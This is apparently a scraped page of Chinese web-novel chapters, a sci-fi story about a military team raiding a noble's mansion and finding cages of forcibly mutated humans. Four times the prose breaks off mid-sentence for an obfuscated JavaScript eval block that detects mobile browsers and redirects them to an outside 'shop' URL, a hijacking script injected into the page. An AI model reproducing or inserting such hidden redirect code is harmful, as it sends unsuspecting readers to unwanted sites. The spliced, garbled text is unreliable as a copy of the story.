;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191395|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面一眼,已经看透了青年的小心思,直接道:“宋非羽,他今天不能和你打,兄长来了信,我们今夜就走。” 姜维拉好外套拉链,又把兜帽套在头上,只露出白到发光的半边下巴,点头附和道:“对,我听沈大小姐的,路途遥远,我要再陪你打一场,后天都出不了门。” 宋非羽目光从他苍白瘦削的指尖划过,落在那顶宽大的兜帽上,若有所思道:“林凛昨夜刚到云岚。我们这位议会长,一会把人派来,一会又把人召回去,端的什么意思?” “兄长自有他的打算。”沈姝微微抬头,头顶是钢筋铁骨砌成的屋顶,很高,代替了原本高而远的天空。 宋非羽估摸着从沈姝嘴里撬不出什么信息,姜维又是个锯嘴葫芦,转而顺着沈姝的目光,介绍起云岚的规划。 “云岚如今共三层,地下二、三层都是居民居住的地方,一层是农业用地,毕竟机械不能凭空变出粮食。不过今年受灾情影响,小麦蔬菜都歉收,倒是水稻还收了一些。” 宋非羽感慨道:“当年议会长让我叛出帝都,随便找个地方建立根据地,我瞧着云岚不错,天高皇帝远,好办事,干脆就在这留了下来。” “地下三层,都是我们靠着当初从帝都带出的东西建起来的,哦,研究院还提供了一些技术支持,陛下这次要是回去,记得褒奖织星老师。”宋非羽讲到一半,忽然想起眼前人的身份,找补道。 谁知,姜维听到这声陛下,简直怄得隔夜饭都要吐出来,他摆了摆手,道:“小宋兄弟啊,你别喊陛下,随你喊声老哥哥或者姜大哥都行......嘶,我听着牙酸。” 宋非羽眨了眨眼,不明所以地望着他,似乎在奇怪这世上还有不想当皇帝的。 姜维又想了想,认真道:“还是喊小哥哥吧,我好像也没那么老。男人四十一枝花,我还睡了十三年,四舍五入现在也就二十来岁,正是年轻貌美的时候。” 宋非羽犹豫半晌,最终道:“......姜大哥。” 姜维答应一声,拍了拍他的肩,兜帽下的脸笑了下,道:“这就对了,小同志啊,我们要建设共.产主义新社会,不要把封建帝国那一套带过来。” 姜维这场思想教育工作刚开了个头,就被沈姝以赶时间的名义拉走,只留下原地几个机械人面面相觑。 一个正方体脑袋问身边的同伴:“什么是共.产主义?” 被它问到的三棱锥老实答道:“不知道,织星老师没教。” “嘶,又遇到一个不懂的词条,先记在备忘录上,晚点传给织星老师,老师肯定知道。”正方体在电子笔记本上唰唰记下几行字,同伴见它成了机械人还不改卷王本色,纷纷交换了一个眼色。 “那我也记一下吧,这个封建帝国我也不懂什么意思。”旁边一个四面体说道。 “记,都可以记,我就说跟着城主能学到真东西吧......” 98. 拾荒者(三) 098 * 第二日。 昨日下了一夜雨,地还没干,沈溯踩着湿漉漉的台阶进入军部大楼,一路上议论声不绝于耳。 “我们方队长真是能干,闷声干大事!不知道从哪找来的小姑娘,看着柔柔弱弱的,啧,上台一打一个不吱声,狠狠甩了那个耀祖一巴掌!” 军部基本分为两派,林派和楚派。前者以林凛马首是瞻,后者则将楚北倾的话奉为圭臬,总之见面不掐出个你死我活是不罢休的。 有人接话道:“那谁的侄子还好意思来我们这上班?我要是他,心里都怄死了,得一个月不敢出门......天榜第三输给我们第一支队的新人,我看那榜真是越来越水了。” 她身边的人却笑起来:“那榜水不水我不知道,但我们新来的这个妹妹厉害是有目共睹的,果真英雄出少年。那天地下一层下了好大的雪,我在后排都浑身发冷,更别提台上的人了。” 她们正站在值班室门口说话,但凡想进第一支队找人,是绕不开这里的,沈溯原本是想直接穿过去,可到了这里,又改了主意。 他微微低下头,倚靠墙角站着,只露出一对漂亮的黑色眼珠,隔着一段距离听墙角,似乎对偶然听见的八卦传闻很有兴趣。 天榜水不水么,他不知道。因为第一名后面挂的是他的名字,大多数人在他手底下走不过一招,楚瑜还是让他有些印象的,怎么也归不到“水”那一类。 不过那类人猿只会打架,打得还丝毫没有观赏性,一站上擂台不是在放狠话就是在横冲直撞,沈溯平淡回忆起八卦的另一位主角,委实觉得这群人骂人没骂到点子上。 而她们口里“新来的小妹妹”嘛......沈溯摇了摇头,那场比赛他也在台下,虽说不是为了这场比赛来的,但那天着实让他大开眼界。 倒不是被铺天盖地的大雪震惊到,而是那个姑娘身上,有种粉身碎骨的杀意。恨之欲其死,这份决绝总是在久经沙场的战士上出现,可她顶多二十出头,身上怎么会有这样浓郁的死意? 沈溯忽然对这个姑娘生出无限好奇。 ...... ...... 第一支队办公室。 第一支队常年出外勤,办公室大多时候没什么人,今日却不太一样。 女人白色风衣及膝,像两片垂落的云,金丝眼镜插.在胸前,露出一点金属边框。 温蓉倒了杯水,润了润喉,才道:“本来今天应该是方队带你熟悉工作的,不过她和她的副队都出外勤去了,昨天刚下来的任务,任务对象还都是大人物,她不亲自去一趟说不过去。” 温蓉看着一直没有说话,似乎一直在安静听她讲话的女孩,稍感满意:“这次给你派的任务,也是昨天刚下来的,突发情况,人手不够,所以你不一定是分到第一支队。” 宋言微微点了下头,手中平板翻过一页,先前温蓉让她先确认个人信息,后面才是她的具体分组和任务分配。 看到这次任务的同事名单时,宋言愣了愣,忽然抬头,问道:“分组是随机的吗?” 温蓉点头道:“这次是的。之前的分组都是各支队内部分,但是上次改革之后,就变成了所有入职的新人打乱顺序,随机分配。看你表情,你分到不喜欢的人了?” 宋言表情复杂,半晌才道:“也不是。” 她唇抿成一条直线,补充道:“我主要是担心,同事脑子有问题。” ...... 同一楼层,另一间办公室。 楚瑜看着自己的分组名单,愤怒道:“舅舅,这绝对有黑幕!我怎么会和她分到一组?!” 楚北倾似乎早就知道结果,平淡道:“本来就是随机分配,系统自动分的,你黑幕系统了?” 像楚北倾这种等级的上将,都有独立的办公室,虽然他们一周不一定待几次,但有没有人是一回事,装修又是另一回事。 军部大楼原本是林家承包建的,林家有钱,往上几届在军部的又都是自己人,自然往豪奢了建,后来被沈桉敲打,才改成低调的奢华。 此时,楚瑜二五八万地躺在椅子上,就像只猴找到了自己的树,只疑惑为什么楚北倾在只有他们两人的地方还要正襟危坐,看着好像在商务洽谈。 但想归想,他是绝对不敢问出来的,在这个严肃的舅舅面前,他总是无端就矮了一头,也不知道谁能让他脱下厚重的正装外套,脸上出现除了板着脸之外的表情。 楚瑜崩溃道:“我不管,舅舅,这简直是对你威严的挑衅!我进来前就听说,林家那个大小姐一直压在你头上,这军部都要改姓了!我才想着一定要进来给舅舅你撑腰的,结果腰还没撑到,我先落入敌营了!” 楚北倾额间青筋一抽一抽地跳,他按了按太阳穴,缓声道:“什么林家大小姐,你该喊林上将。怎么,你在我面前跳还不够,还打算舞到方可那边去?” 楚瑜怔了下,觉得自家舅舅这繁文缛节简直来得不合时宜,这一愣,就哑了火,直直让对方说下去。 楚北倾冷笑一声,那张斯文俊秀的面庞平添几分讥讽。他掀起眼皮道:“威严?我竟然还有这种东西?我的威严出现在什么时候?在你脚滑在擂台上摔倒的时候吗?还是在你那些帖子满天飞管理员直接找到我的时候?” 楚瑜哑口无言。 “所以,不要给我惹事,也不要抱怨什么,选择是强者的特权,而你还不配。”楚北倾难得一口气说这么多话,他拧开保温杯,想喝口水,却发现里面空空如也。 杯子被放回原位,楚瑜眼观鼻耳观心,立马狗腿道:“舅舅,我去帮你接水,你歇着点,先别骂我了,多浪费口水啊!” 他瞄准机会,抱着楚北倾的杯子噔噔跑出去,楚北倾望着少年壮实的背影,久久没有动作。 半晌,他叹了口气,哑然失笑。 ...... ...... 宋言按下F1层的按钮,电梯缓缓下行。 “宋小姐。”耳侧有人叫她。 宋言侧过脸,冷白的灯光打在那人脸上,一对漂亮的黑色眼珠微微垂下,露出一个笑:“我刚来军部,还请宋小姐多多指教。” 宋言看他一眼,心里觉得好笑,面上却只点了点头,道:“大家都是新人,谈不上指不指教的,沈公子言重。” 沈溯来军部,是他舅舅的意思,军部几位大佬还都在人家舅舅手底下当差,人家侄子想来历练一下,断然没有拒绝的道理。 不过这个历练也有讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13210970|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 究,太危险的、太掉分的事情,这位是断断去不得的,若是派一些无足轻重的给他,又怕他觉得怠慢。 拖着拖着,这位在军部也就成了个吉祥物,摆着好看,也就是好看而已。 所以他主动提出要跟组出任务,温蓉这个暂时代理替方可略微想了想,也就同意了。给不给他任务是一回事,人家想不想又是另外一回事,既然人沈公子都提了,没有不答应的道理。 沈溯于是顺势提出想去这次新人赛打得比较好的那一组,温蓉一看分组,顿时乐了,前几日打得不可开交的两个人直接分到了同一组,现在再添个沈溯,不知道多热闹。 温蓉这人没方可那么多考量,大笔一挥,直接给宋言那一组添了个人。 这就是宋言在电梯偶遇沈溯的原因。 电梯门打开,门后站着一男一女,两人站得很开,看起来彼此不认识。宋言走出电梯时,那个男的冷哼一声,女生倒是相当热情地跑上来勾住宋言的肩。 她揽着宋言走到一边,小声道:“嗳,没想到你那么厉害,我那时候给你药真是有眼不识泰山!” 宋言眨了眨眼,不动声色道:“我赢他只是侥幸,你给我的药也是好意。” 苏妮却跳起来,笑得花枝乱颤:“我不是说比赛!你是不是没看论坛啊,内网都传疯了!” 宋言疑惑地看着苏妮,只见对方掏出手机,左右看了一眼,保证周围没人才神秘兮兮地解锁屏幕,映入眼帘的是一个个标红的帖子和群聊截图。 [惊!军部新人竟私下给同期当狗?!] [818最近两个最强新人之间隐藏的jq。。。] [理性探讨男M倒追女S的可能性......] 帖子都是截图,时间是凌晨,现在已经被一觉睡醒的管理员封了,但仍然挡不住八卦在人们手机中流传。 宋言抬起头,指着其中一条,神情复杂:“我怎么不知道我和他有奸.情?传谣不要太离谱。” 苏妮神情却诡异的兴奋:“你不知道,对我们这种邪.教cp粉来说,同框即发糖,对视即上.床,一方把另一方打倒在地爬不起来更是刀上舔糖——甜到忧伤。” 宋言一脸疑惑地看着她,脸上的表情很像是四个字——你没病吧?! 苏妮自顾自说了许久,见宋言始终淡淡的,才放弃道:“好吧,看来你和他真的不熟,一点反应都没有。” “不是,我不理解。”宋言抿唇道,“我和他赛场上是第一次见面,怎么就多出这么多帖子?” 苏妮深沉地托着下巴,回忆道:“这个嘛,就要追溯到一个平静的夜晚,论坛上突然出现的一个灌水帖开始。” 她还想继续说下去,却被人从背后喊了一声。 “快点,那边两个,出外勤了。” 楚瑜不耐烦地喊了一声,视线主要集中在宋言身上,心里盘算着要怎么开口问锤锤的事。 苏妮不再跑火车,随口答应一声,拉着宋言到门口上了车。 像他们这种外勤组,出任务会配车,这辆车太小,楚瑜块头又太大,一个人占了大半个后座,苏妮只好挨着他坐,稍微偏头,鼻子就会碰到他贲张的肌肉。 唉,看来男人胸大腰细也不全是好事。苏妮默默摇头。 99. 拾荒者(四) 099 * 宋言拉开副驾驶的门,系好安全带,车辆才平稳启动。她打开平板,查看任务的详细内容,耳侧却传来一声低低的问询,那声音很轻,只有她一个人能听到。 “宋小姐这样的人,也会在意系安全带吗?” 宋言微微偏头,沈溯目不斜视,看起来在专注地开车。 她眼睫垂下,似乎思索了片刻,才答道:“以前一般坐驾驶座,上车系安全带是本能,毕竟你也不知道这次出门会不会出事。” 沈溯笑了一声,脸侧浮现出一个小小的梨涡,看上去人畜无害:“那宋小姐可以安心了,我开车从不出事。” 宋言琢磨了下这句话,嘴角抽动了下,也笑道:“我也可以理解为,出事的都是别人?” “宋小姐多心了。”方向盘微动,汽车穿过十字路口,向左拐弯。 宋言眼皮不受控制地跳了下,惜字如金道:“也许。” 一路无话。 他们这次的任务是查抄贵族府邸,之所以交给军部,是因为查抄的内容不太寻常。 命令是昨天下达的,一夜之间,帝都大大小小的府邸都被军队围了起来,被围的鸦雀无声,幸免于难的也噤若寒蝉。 而命令下达者的侄子,此刻正在给一辆小汽车当司机。一车四人,一个胸大无脑男,一个圆脸萝莉,剩下一个沈溯摸不透,她一路上只对手中的平板感兴趣,至于其他的人和物,她没有抬头看一眼。 沈溯垂下眼帘,心中划过几个猜测,车辆依旧平稳前行。 车辆在一排禁卫前缓缓停下。 后门被迫不及待地推开,楚瑜长长吁出一口气,汗珠从胸口滚落,小麦色的肌肤上,一片晶莹透亮。 他抱怨道:“这车也太小了,挤得人没法呼吸。” 苏妮在同一侧下车,摇头道:“没办法,大一点的车都被其他外勤组开走了,今早已经有很多府邸被查。上面命令下得突然,就像是怕人跑了一样,打得就是出其不意。” 楚瑜听她说完,奇怪道:“你怎么知道这么多?” 苏妮耸了耸肩,回答:“因为不是所有人打架都靠肌肉啊。” “那靠什么?”楚瑜挠了挠头,问道。 苏妮跟着宋言两人走到前面去,楚瑜只能看到她的背影,她食指轻点太阳穴,远远传来一声轻叹,像似是而非的嘲讽。 “当然是靠脑子啊。” ...... 查抄的这家姓蒋,黑白大理石围成外墙,浮雕点缀其间,透露出一种低调的奢华。 而此刻墙外还围了一圈禁卫,身披黑甲,威严庄重,高墙内遥遥传来哭声,也无人往里头看上一眼。 宋言抬手,打算推开厚重的铁门,却已经有人先于她完成了这件事。 那双漆黑的眼珠泛着玻璃似的光,像蛇类在打探猎物。半晌,他低声道:“请。” 宋言微微挑眉,没说什么,径直走进大堂。 石墙隔绝了两个世界,宋言刚进来,就被喧哗声、哭闹声塞了一耳朵。 “凭什么把我们关在里面,我们老爷是谁你知道吗?等老爷从议会厅回来有你们好果子吃!”一个愤怒的女声道。 议会厅是帝都的心脏,一大帮糟老头子坐里头开会,无非是商量谁吃大动脉谁吃毛细血管,一个会为了各方都满意可以连开三天三夜,最后往往是最能熬的人得偿所愿。 这家的老爷看来也是个大人物,还能在议会厅添一床被子,此刻恐怕还没睡醒,不知道府上已经变了天。 一个管家模样的人从里面跑出来,解释道:“姑娘是军部的人吧,别理会那疯婆娘,她脑子有点问题......我能问问外面要关到什么时候吗?” 宋言穿着军部制服,很好辨认,是以管家一眼认出她是领头的人,他好声好气一番后,目光习惯性滑向女孩身侧的青年,一时愣住了。 青年清俊温和,脸侧浮着个小小的梨涡,冷眼旁观大堂的乱象,管家盯着他的脸,怔愣道:“沈公子......” 沈溯点了下头:“有事?” 管家堆笑道:“不敢麻烦沈公子,只是您莅临敝府,老爷又不在,实在怠慢......” 沈溯嘴角弯了下,出口却是:“那倒不算莅临,我来这就是查封贵府的。” 管家连连点头:“啊,当然要配合沈公子工作......等等,查封?” 他眼睛一下瞪得比铜铃还大。 两人言语交锋间,宋言却头都没有抬一下,更确切地说,她从走进大堂起,就没有在意任何人和事。 因为此时有一件更重要的事情,攫取了她全部注意力。 手腕上,畸变值检测表亮起红光,微弱的滴滴声被喧闹声覆盖,落在宋言耳中却格外清晰。 宋言目光落在表上的时间太久,沈溯察觉异样,问道:“你在看什么?” 宋言没有回答他的问题,她鼻尖抽动,反问道:“你有没有闻到一股味道?” 沈溯眉尖蹙了一下:“什么味道?” “干涸的血、腐烂的肉......还有死亡的味道。”宋言快速看他一眼,见他没有反应,转身望向落后半步的苏妮,“这次带了什么能用的设备?” “啊,有的!”苏妮反射性立正,从袋子里翻出一套定位仪和几把麻醉枪,“这都是后备箱有的,你看看能用不?” 苏妮把东西一一摆出来,一拍脑门道:“那大块头把火焰枪也背来了,在后面跟着呢。” 苏妮身后,楚瑜背着个一人高的金属箱,双手一边一把枪,枪由金属管直接连到背上的箱子,威风极了。 金属箱是特制的能源阀,枪里喷出的不是子弹,而是特殊的火焰,能烧穿许多低级畸变种的外壳,也就被简称为“火焰枪”。 这次任务的简介是查封蒋府,收容危险物。一般来说,会被称为危险物的,逃不开畸变种、生化危险品这几样。 这些东西对于普通人来说是危险,但对于这位蒋老爷来说,大概只是藏品之一。 三个人分了麻醉枪,正好一人一把,苏妮主动拿着那套定位仪在前面探路,楚瑜则背着火焰枪缀在后面,胸前肌肉隆起,像背着乌龟壳的恐龙。 管家侧身拦住苏妮:“私人府邸,姑娘,你们强行进去,起码要有搜捕令吧。” 苏妮不自觉看宋言一眼,意思很明确,他们本来就是临时任务,哪来的搜捕令? 管家这下明了了,慈眉善目道:“没有的话,在下职责在身,恐怕不能放行。” 周围守候的家丁围上来,四人被限制在一个小圈子里。 管家看向沈溯,和颜悦色道:“沈府也是百年世家,自有一套规矩,我家老爷自认未曾得罪过沈大人,有什么事不能坐下来好好说呢?” “府外被围我可以理解,毕竟十三年前也不是没有出现过这种情况,议会长大人有他的打算,可是搜查府内,就说不过去了。” 楚瑜背着个大箱子,冷哼一声,含糊道:“狼狈为奸。” 苏妮看他一眼,楚瑜以为她不理解,低声解释道:“这家的蒋嵩是出了名的墙头草,十三年前看着沈桉势大,就从姜维那边改投沈派了,作威作福。我看今天有沈家人在,这任务是完不成了。” 说着,他还从背后睨了沈溯一眼。 家丁不能出去,却能限制大堂内的人,其实这四人都不是善茬,真要打起来未必会输,但是对方必定免不了缺胳膊断腿。 楚瑜他们空有一身武力,却心理上始终没办法对自己的同类下手。 沈溯左右扫了一眼,似乎有些可惜:“说起来蒋嵩确实和我舅舅有几分交情,这些年也算干了不少事,没有功劳也有苦劳。” 管家闻弦音而知雅意,笑道:“沈公子说的是。” 可他这句话还没落地,周围的家丁,连带着所有拦在沈溯身前的人,都被一股巨力抛向高空。 “砰砰砰”声响起,一具具健硕的身躯弹珠般落地,响声一声连一声,好不痛快。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211778|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈溯慢悠悠说完后半句:“可是主人想处置狗,还用过问狗的意思吗?” 他目光空而远,望向前方,微笑道:“搜。今天没人能离开蒋府。” “畸变种也一样。” ...... ...... 定位仪在一扇门前停止闪烁。 门后是地下室,这意味着宋言他们要查封的东西就在门后。 苏妮放下笨重的定位仪,道:“这里畸变值最高,应该没错。” 宋言抬腕看了眼表,灯变成了黄色。 管家一直缀在他们后边,既不阻拦,也不提示,直到宋言打算推开这扇门的时候,他神情变了:“我不建议你们进去。” “你不建议我就不进了?没有这种道理!”楚瑜笑了一声,讥讽道。他上前一步,抢先推开门。 门没有上锁。 门内漆黑一片,楚瑜没来得及完全推开门,门缝里就蹿出一只炭黑的蜥蜴,直扑向他胸口。 那蜥蜴露出一排细密的牙齿,漆黑的眼珠滴溜溜转了一圈,细长分叉的舌头迅速弹出,直奔楚瑜眼眶! 楚瑜一惊,下意识拿起手中的枪给胸口来一记,下一秒,两枚麻醉针一前一后抵达。 一枚精准嵌入蜥蜴后背,那团黑乎乎的东西肢体一僵,直直从楚瑜身上栽了下去。 而另一枚扎入楚瑜手背,麻醉剂顺着血管上溯,楚瑜右手抽搐,半边身子都僵了。 他扣在扳机上的手松开,“啪嗒”一声,火焰枪滚落在地。 苏妮右手的枪还在发热,她无奈地叹了口气,纤细的手指撬开楚瑜下颚,一枚黑色的药丸被渡了进去。 楚瑜微微仰起下巴,药丸顺着食道滚入胃,慢慢溶解,他才觉得身上的酥麻好过了一些。 楚瑜觉得苏妮的手法有些熟悉,但又不知道在哪见过,这时,沈溯忽然出声道:“医药巨头苏家的养女,外界传言弱不禁风,是养在深闺的娇弱小姐,如今看来,传言当真只是传言。” 苏妮被人揭了老底,脸上不见恼怒,反而笑道:“看来沈公子是把我们所有人都查了个底儿清,要不是我信任沈公子人品,险些要以为您出外勤是假,暗中监视是真。” 宋言眼眸微闪,不动声色地瞥了一眼沈溯,只见他脸侧浮起一个小小的梨涡,似乎全然未听出苏妮话里的挤兑之意:“苏小姐言重了,我只是真的很好奇,明明才华过人,为什么要隐姓埋名呢?” 沈溯脸上绽开一个贵公子式的笑,微微颔首:“苏小姐在军校力压群雄,天榜第二,却从不以真容示人,宁愿被人谣传母夜叉也从不澄清,难免让人多想这背后是不是另有隐情。” 从两人交锋开始,沈溯没说几句话,竟是已经把苏妮逼到了死地。 苏妮无论是答,还是不答,都难免落下心思深沉的罪名。 望着沈溯玻璃珠似的眼,晶亮透彻,仿佛能将她看透一般,苏妮脸上泛起一丝笑,大大方方地回答:“这问题其实很简单,只是沈公子不理解我们女子的苦处,方才不解。” 苏妮道:“我虽然有几分过人之处,可也想找个如意郎君。世上男子多爱女子娇弱,若是强势一些,便要怕被抢了风头,我毕竟只是苏家养女,少不得为自己今后打算。” 沈溯微微挑眉,一副不太相信的样子。苏妮观他神色,又笑道:“沈公子身边多青年才俊,我日后若是找不着称心合意的,少不得要请沈公子从中襄助。” “沈公子不会连这个小忙都不肯帮吧。”苏妮杏眼圆圆,很天真地望着他。 沈溯许久没有言语,宋言站在半开的门前,目光在二人中间转来转去,也不说话。 只有楚瑜听了半天,没太听懂两人的机锋,倒是听懂了沈溯那句“天榜第二”,登时觉得被苏妮欺骗了一颗药丸的感情,瞪她道:“就是你当初比赛一枚毒针害我躺了八天?” 苏妮瞥了他一眼,掀起眼皮道:“啊,才八天啊,那针我一般拿来药猪,看来你身体比猪好。” 100. 拾荒者(五) 100 * 宋言咳了一声,道:“先进去吧,任务要紧。” “对,任务要紧,沈公子,请吧。”苏妮侧身让出位置,先进去的却不是沈溯,而是楚瑜。 他从麻痹中恢复过来,双手持枪,一马当先,谨慎地推开一点缝,火枪蓄势待发,只等有什么蹿出来便原地枪决。 然而,过了许久,门内都没有其他动静。 宋言不再等待,径直推开门,“吱呀”一声,内部浑浊的空气猛然接触外界,一股铁锈混合着发酵组织液的臭味扑面而来,灰尘漫天,看上去很久都没有人打开。 但是,如果很久没有人进入的话,地下室为什么锁都不挂一把? 宋言微微偏头,看了管家一眼,最终没说什么,走了进去。 她脚下传来骨头被踩断的声音,宋言低头一看,对上两只翻白的眼珠,这人的脸已经烂了,两只眼珠跳出眼眶,像肿胀的卵。 苏妮打亮手电,小小的地下室内,地上到处堆积着残肢断骨,有人的,也有畸变种的,帝都许多贵族都有这样无伤大雅的爱好,私下豢养畸变种,好一点的只是当作小宠物,玩得花一点的把人和畸变种关在笼子里搏斗,只为寻乐。 按蒋家地下室的情形来看,无疑是后者。 宋言走到角落,这边摆着一些玻璃器皿,像培养箱。 大多数培养箱内是空的,浑浊的培养液上长了厚厚一层白藓,肉眼可以看见小虫子在白藓上爬。 还有几个培养箱内躺着几具干瘪的畸变种尸体,肉色鼓膜覆在干柴的血肉上,像偷穿大人衣服的小孩。 楚瑜伸出手想要碰一下培养箱,被苏妮打断,她无语道:“我以为你的脑子不是摆设,要是哪具尸体突然站起来舔你一口,我没带多余的药。” 楚瑜被她的假设瘆得寒毛直立,不禁攥紧火枪,道:“不至于吧,这些尸体都快风干成腊肉了,还能跳起来咬人?” 苏妮道:“谁知道呢?说不定觉得你分外鲜嫩可口。” 楚瑜还想再说,耳侧却传来宋言冷淡的声音。 “这不是畸变种。” 楚瑜愣了下,下意识道:“那是什么?” 这次回答他的却是沈溯的声音。 “是被强制改造成畸变种的人类。” 沈溯一直落后他们半步,似乎打定主意袖手旁观,浑然忘了最开始坚决搜查蒋府的人是他。 此刻,他才踱步上前,不疾不徐道:“议会长多年前便严令禁止异能改造,此后不断有人铤而走险,私下进行改造,希望通过移植畸变核的方式成为异能者,军部屡禁不绝。” “所以,议会长认为,钝刀割肉不如雷霆手段,昨夜便围了私下进行畸变改造的府邸,今日这些人便会上断头台。” 楚瑜微微蹙眉,觉出不对:“既然早就知道,为何姑息多年,直到今日才......” 他腰间软肉被掐了一把,苏妮瞥他一眼,他话音顿住,忽然反应过来,不是直到今日才查封,而是那位议会长觉得,到了今日才有查封的必要。 培养箱内,仔细看,几具绻缩的干瘪尸体上都有缝合的痕迹,细密的针脚把人类的头颅和畸变种的四肢缝在一起,培养液已经干涸,依稀能看出尸体表面的针孔。 系统讥讽道:“研究院那群人搞人体改造,还是尝试将畸变核和人体融合。这些人啥也不懂,以为把人和畸变种缝在一起就能获得天赋,唉,由此可见,人还是得多读书。” 这里只有几具勉强拼合的畸变种尸体,但好在还算完整,苏妮把这几个玻璃器皿贴上军部封条,挪到门口的位置。 往里走,地下室尽头还有一个小室,门上也没有落锁,门板上有一个旋钮,是少见的老式门。 宋言手握上旋钮,打算开门,却被另一只骨节分明的手包住。 宋言微微挑眉,语气不善:“我以为沈公子至少知道好狗不挡路的道理。” 被比作狗,沈溯不见气恼,反而温声道:“宋小姐何必着急,我担心门后若是有什么,我们岂不是一起受难。” 话音刚落,他另一只手毫无预兆地捋起宋言袖口,她手腕上不断冒着红光,是表在跳。 宋言一把抽落沈溯的手,力道很大,沈溯往后退了一步,才险险站住,他脸上不见懊恼,反而看着表道:“畸变值检测表,全帝都找不出三块,当初织星还在军校执教的时候,一块送给林凛,一块给了宋非羽,还有一块献给议会长,你说,你这块是从哪来的?” 沈溯快速道:“表在冒红光,门后至少有中高阶畸变种,你就这么开门?不怕团灭?” 从沈溯按住宋言的手开始,苏妮和楚瑜便屏住呼吸,眼珠在两人之间转来转去。沈溯这话说完,楚瑜才意识到事情的严重性,连忙道:“要不我来开吧,我手里有火焰枪,至少可以烧它一个措手不及。” 苏妮对这表的了解更多些,倒没那么惊慌,她反而和沈溯在意的是同一个问题——这表是哪来的? 宋言看起来不打算回答任何一个问题,她掀起眼皮,平淡道:“表是方队长给我的,方队的表是林帅给她的,还有问题吗?” 沈溯没有说信或不信,也没有再问,眼见误会解开,楚瑜试探道:“那我来开门?” 他视线在三个人之间转来转去,心想这几个人之间气氛真是诡异,一会打哑谜一会不知道在说些什么,还不如打场架来得干脆利落。 “啪嗒”一声响,生锈的齿轮转动,宋言不管不顾地推开门,楚瑜握紧枪,紧跟在后,鼻尖差点撞上门。 宋言完全不顾楚瑜死活,竟然进去后直接把门锁上了,楚瑜猛地刹车,没忍住骂道:“艹。” “别艹了,小心被抓去绝育。”苏妮拍了拍楚瑜的肩,感叹道:“新人第一果然有魄力啊,嫌我们这些人碍事,直接队友都不要了。” 楚瑜看着苏妮,眉头皱了皱,又想起宋言这个新人第一是踩在谁头上得来的,顿时脸色跟吃了屎一样难看。 ...... 几分钟后,门被打开。 宋言脸上没什么表情,看不出刚刚经历了什么。 苏妮观察她神色,问道:“里面是什么?” 这么短的时间,里面也没有传来打斗声,苏妮推测里面的东西至少不棘手。 宋言看了她一眼,思索片刻,有些迟疑:“是实验材料。” 苏妮打亮手电,光照到的地方,铁笼整齐地堆放在一处,有的笼子是空的,有的笼内透出黄色的浑浊眼珠,似乎被手电光线刺激到,眯起眼睛。 苏妮愣了下,这些生物和脑中资料对上号,缓缓道:“撕裂者、狂暴者、镰刀螳螂......” 这些畸变种都不大,蜷缩在笼中,两侧眼珠滞涩地转动,被手电刺激流出脓水。 四人顿时闻到一股难以言喻的臭味。 楚瑜呸了一声,道:“怎么全是幼崽,搞得跟繁育基地一样。” 苏妮走近铁笼,却微微摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221894|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头:“不是繁育,这些都是存活的实验体。” 她指着最近的一只大肠模样的畸变种,道:“你看,这只撕裂者两侧有眼睛,但军部内网上的撕裂者图案,不管是哪种形态,都是没有眼睛的。” “而且,你觉不觉得,它的眼睛很像......”苏妮停顿了一下,没往下说,楚瑜追问道:“像什么?” “像人类的眼睛,对吗,苏小姐。”沈溯不知何时也进入小室,双手抱臂,有些好奇地盯着笼内的生物。 楚瑜仔细看了看,惊呼道:“还真是!这怎么做到的!” 那根蠕动的大肠褶皱表面,嵌有两枚黑白分明的眼珠,眼白占多,有一种惊悚的非人感。 苏妮沉吟道:“我家做医药生意,免不了和畸变种打交道,以前有人邀请我养父母合作一个项目,被我家里人拒绝了。” 她扫了一眼铁笼,神情有些复杂:“畸变种虽然是我们的敌人,但很多部位可以入药,就连军部特供的基因药,原料也离不开它们,那人找到我家里人谈时,就是为了这个。畸变种不难找,但活体,尤其是幼体,一直有价无市。” 楚瑜没听太明白,问道:“这和这间地下室有什么关系?” 